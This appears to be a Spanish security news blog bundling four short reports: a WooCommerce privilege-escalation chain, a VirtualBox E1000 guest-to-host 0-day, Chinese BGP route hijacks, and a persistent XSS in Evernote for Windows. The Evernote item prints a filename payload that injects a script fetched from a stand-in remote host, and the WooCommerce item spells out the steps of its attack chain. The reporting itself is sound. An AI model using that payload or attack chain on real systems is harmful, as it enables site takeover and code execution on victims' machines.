Escalada de privilegios con WooCommerce en WordPress

Un conjunto de vulnerabilidades en WordPress y WooCommerce permiten una escalada de privilegios que podría afectar a los más de 4 millones de usuarios de este plugin de WordPress.

Imagen extraída de https://ldav.it/shop/servizi/assistenza-tecnica-wordpress-woocommerce/

 

WooCommerce es un complemento de comercio electrónico muy popular para WordPress, instalado por alrededor de 4 millones de usuarios y desarrollado por AutomatticLa vulnerabilidad está relacionada con el método en el que interactúa el plugin WooCommerce con WordPress, permitiendo a un atacante con acceso a una cuenta de administrador de la tienda (Shop Manager) hacerse con el control del sitio web completo.  La primera alerta se dió a finales de octubre en las notas de la última versión de WooCommerce, informando de que las versiones 3.4.5 y anteriores permitían a un administrador de la tienda malintencionado realizar una escalada de privilegios y hacerse con el control del sitio web. Esta semana, la compañía de seguridad de RIPS-Tech publicó los resultados de la investigación realizada por Simon Scannell en la que se descubrió el modo en el que dichos administradores de WooCommerce podían aprovechar la vulnerabilidad del plugin para controlar el sitio WordPress completo.

En primer lugar, el administrador de la tienda de WooCommerce puede editar los datos de los usuarios. Para ello, WordPress le asigna la capacidad “edit_users” y limita sus privilegios mediante un filtro especial de metadatos que sólo se aplica mientras el plugin WooCommerce esté activo. Esto significa que si WooCommerce es deshabilitado, la verificación de privilegios que impide a los administradores de la tienda editar los datos de cualquier usuario del sitio WordPress no se produce, permitiendo que puedan incluso modificar la contraseña de la cuenta del administrador para luego acceder como tal y controlar el sitio completo. El problema es que los roles de los usuarios se almacenan en la base de datos y existen incluso si el plugin está deshabilitado.

El problema estriba en que, en las versiones 3.4.5 y anteriores de WooCommercelos administradores de la tienda además pueden eliminar archivos. Este defecto de forma aislada supondría el riesgo de que un atacante pudiese borrar el sitio web, generando una situación similar a un ataque DoS. Generalmente, este tipo de vulnerabilidades de eliminación arbitraria de archivos no se consideran críticas, pero dado que la eliminación de ciertos archivos del plugin puede deshabilitarlo permitiendo así la modificación de la contraseña del administrador del sitio, esta cadena de ataque se convierte en un riesgo de seguridad crítico.

Por lo tanto, un administrador de la tienda malintencionado (o un atacante que haya obtenido sus datos de acceso mediante phishing o algún otro tipo de fraude) podría eliminar el archivo “woocommerce.php”, con lo que WordPressdeshabilitaría inmediatamente el plugin. En este momento, el administrador de la tienda quedaría liberado de la limitación del filtro especial de metadatos manteniendo su capacidad de editar usuarios, incluidos los datos del administrador del sitio WordPress, haciéndose con el control del sitio web completo.

Actualmente se ha resuelto de forma parcial la vulnerabilidad en la versión 3.4.6 de WooCommerce, que apareció el 11 de octubre, limitando la capacidad de modificar los usuarios por parte del administrador de la tienda a sólo aquellos que tienen la función de cliente de forma predeterminada y añadiendo una lista blanca de funciones que se puedan editar de esta forma.

Los plugins de WordPress continúan siendo su talón de Aquiles.

Explicando el 0-day de VirtualBox

0day

La vulnerabilidad permite al malware escapar de la

máquina virtual al equipo anfitrión.

El descubridor del fallo es el investigador de seguridad Sergey Zelenyuk, el cual, al estar en desacuerdo con la situación actual del mercado de Bug Bounty, decidió publicar el fallo.

Información referente al 0-day:

  • Software vulnerable: Todas las versiones de VirtualBox hasta la actualidad (5.2.20)
  • Sistema operativo anfitrión: Cualquiera.
  • Sistema operativo invitado: Cualquiera.
  • Configuración de red: Intel PRO / 1000 MT Desktop (82540EM) en modo NAT. Destacar que esta es la configuración que trae por defecto VirtualBox.

Introducción:

Antes de comenzar con la explicación de la vulnerabilidad, creo que hay que aclarar varios conceptos relacionados con el software vulnerado necesarios para el entendimiento total del fallo.

  • E1000: Hace referencia al dispositivo de red virtual Intel PRO / MT Desktop (82540EM).
  • LKM: Módulo del kernel de Linux.
  • Descriptores Tx: Los descriptores Tx o de transmisión se encargan de almacenar metainformación de los paquetes enviados a través del adaptador. Esta metainformación puede ser: el tamaño del paquete, la etiqueta VLAN, los indicadores habilitados para la segmentación TCP/IP, etc.La configuración de red utilizada en la vulnerabilidad proporciona tres tipos de descriptores Tx:
    • Legacy: Ya no se utiliza.
    • Contexto: Se encargan de establecer el tamaño máximo de paquete y la segmentación TCP/IP.
    • Datos: Contienen direcciones físicas de paquetes de red y sus tamaños.

Un punto a destacar es que normalmente, los descriptores de contexto se suministran a la tarjeta de red antes que los descriptores de datos, y en estos se debe especificar un tamaño máximo de paquete mayor que el tamaño del descriptor de datos.

Resumen de la vulnerabilidad:

Debido a la configuración de E1000 es posible, mediante el envío de una cadena de descriptores Tx específicos, conseguir un desbordamiento de búfer (comúnmente conocido como buffer overflow), el cual concluye en dos posibilidades (ambas usadas en la explotación):

  • Los datos se leerán desde el invitado en un búfer de almacenamiento dinámico.
  • Copia de datos de una longitud específica al búfer sin ninguna verificación.

Además, el exploit utilizado por Zelenyuk hace uso del LKM para cargar un sistema operativo invitado. Como se requiere escalada de privilegios para conseguir cargar el controlador en ambos sistemas, hace uso de cadenas de explotaciones publicadas en el concurso Pwn2Own.

Estas cadenas explotan un navegador que abre un sitio web malicioso en el sistema operativo invitado, el cual consigue escapar de la sandbox para obtener acceso total al anillo 3 (nivel de aplicación).

Finalmente, y gracias a vulnerabilidades conocidas, consigue escalada de privilegios para acceder al anillo 0 (nivel de kernel) donde está todo lo necesario para atacar a un hipervisor desde el sistema operativo invitado.

Vídeo de la prueba de concepto:

Recomendaciones:

En primer lugar, estar muy atentos a la espera de una nueva actualización por parte del equipo de VirtualBox que arregle este fallo.

En segundo lugar, se recomienda no utilizar la configuración de red especificada al comienzo del artículo para asegurar la seguridad del equipo anfitrión.

 

Más información:

Explicación del 0-day por parte de Sergey Zelenyuk:
https://github.com/MorteNoir1/virtualbox_e1000_0day/blob/master/README.md

Los secuestros BGP del gobierno de China

El gobierno Chino secuestró tráfico de red de usuarios de EEUU para ser redirigido hacía el país Chino.

 

 

 

La Naval War College de los Estados Unidos ha publicado un artículo en el que se evidencia como el gobierno de China (a través del proveedor de servicios China Telecom) redirigió en múltiples ocasiones el tráfico de internet de parte de los usuarios de Estados Unidos hacia China, mediante la técnica de secuestro BGP.

BGP (Border Gateway Protocol) es un protocolo clave en las comunicaciones de internet. Este protocolo es utilizado para intercambiar información de enrutamiento entre los distintos proveedores de servicios registrados en internet. Garantizando que dichas rutas estén libres de bucles y representan el camino más corto entre dos extremos de una comunicación.

En el artículo, se resalta como en 2015 Estados Unidos y China alcanzaron un acuerdo por el cual se pretendían reducir los ciberataques directos entre ambas potencias. Dicho acuerdo pareció tener impacto en el número de ataques que ambos países recibían.

Sin embargo, este acuerdo no contempla los cada vez más frecuentes ataques de secuestro BGP que suelen sufrir en general los países del oeste.

 

¿ Cómo funciona un ataque de secuestro de rutas BGP ?

Internet se basa en la interconexión de otras muchas redes de forma más o menos jerárquica. En los routers frontera de cada una de esas redes, funciona el protocolo BGP, encargado como ya hemos comentado de encaminar el tráfico por una u otra red, dependiendo de cual sea el camino más corto hasta llegar a un determinado destino.

Un ataque de secuestro BGP ocurre cuando un router frontera de una de estas redes anuncia de forma intencionada (o por un fallo de configuración) rutas pertenecientes a otra red distinta como si fuese una ruta propia.

Si esta falsa afirmación es aceptada por el resto de redes vecinas, entonces el tráfico se encaminará al atacante en lugar de su destino legítimo.

 

Más información:

“https://scholarcommons.usf.edu/cgi/viewcontent.cgi?article=1050&context=mca”

“http://redestelematicas.com/arquitectura-de-internet”

“https://es.wikipedia.org/wiki/Border_Gateway_Protocol”

XSS persistente en Evernote te abre paso a ejecutar programas en Windows

Una nueva vulnerabilidad XSS persistente en la versión de escritorio de Windows permite ejecutar programas en la máquina de la víctima de forma remota si lo combinas con otros ataques, en este caso Read Local File y Remote Command Execute.

 

evernote-og

El fallo se produce cuando un usuario añade una imagen a alguna nota. Si cambia el nombre de la imagen por código JavaScript, se ejecuta. Teniendo en cuenta que al guardar la nota queda almacenado el código JavaScript inyectado, nos encontramos con un XSS persistente.

A partir de esta vulnerabilidad es posible realizar otros ataques. Puesto que Evernote utiliza NodeWebKit para sus presentaciones de notas, es posible ejecutar un script desde un servidor remoto escrito en Node.js que lea ficheros en la máquina Windows del usuario que abra la nota en modo presentación.

><script src="http://example.org/bad-javascript.js">.jpg

Un usuario malicioso puede utilizar la opción Work Chat de Evernote para enviar la nota a la víctima y persuadirla para que la abra en modo presentación.

En una POC realizada por TonQing Zhu se muestra cómo explotando esta vulnerabilidad se pueden leer ficheros de la máquina de la víctima, en este caso el fichero ‘win.ini’ y ejecutar programas, como por ejemplo, la calculadora.

Envío de nota por Work Chat de Evernote:

El fallo ha sido clasificado como CVE-2018-18524, y fue parcheado inicialmente en Evernote para Windows 6.16.1 beta en octubre. Y la actualización con el último parche se lanzó a principios de este mes con versión 6.16.4.

Más información:

prodefence.org:
http://www.prodefence.org/xss-flaw-in-evernote-allows-attackers-to-execute-commands-and-steal-files/

movaxbx.ru:
https://movaxbx.ru/2018/11/05/evernote-for-windows-read-local-file-and-command-execute-vulnerabilities/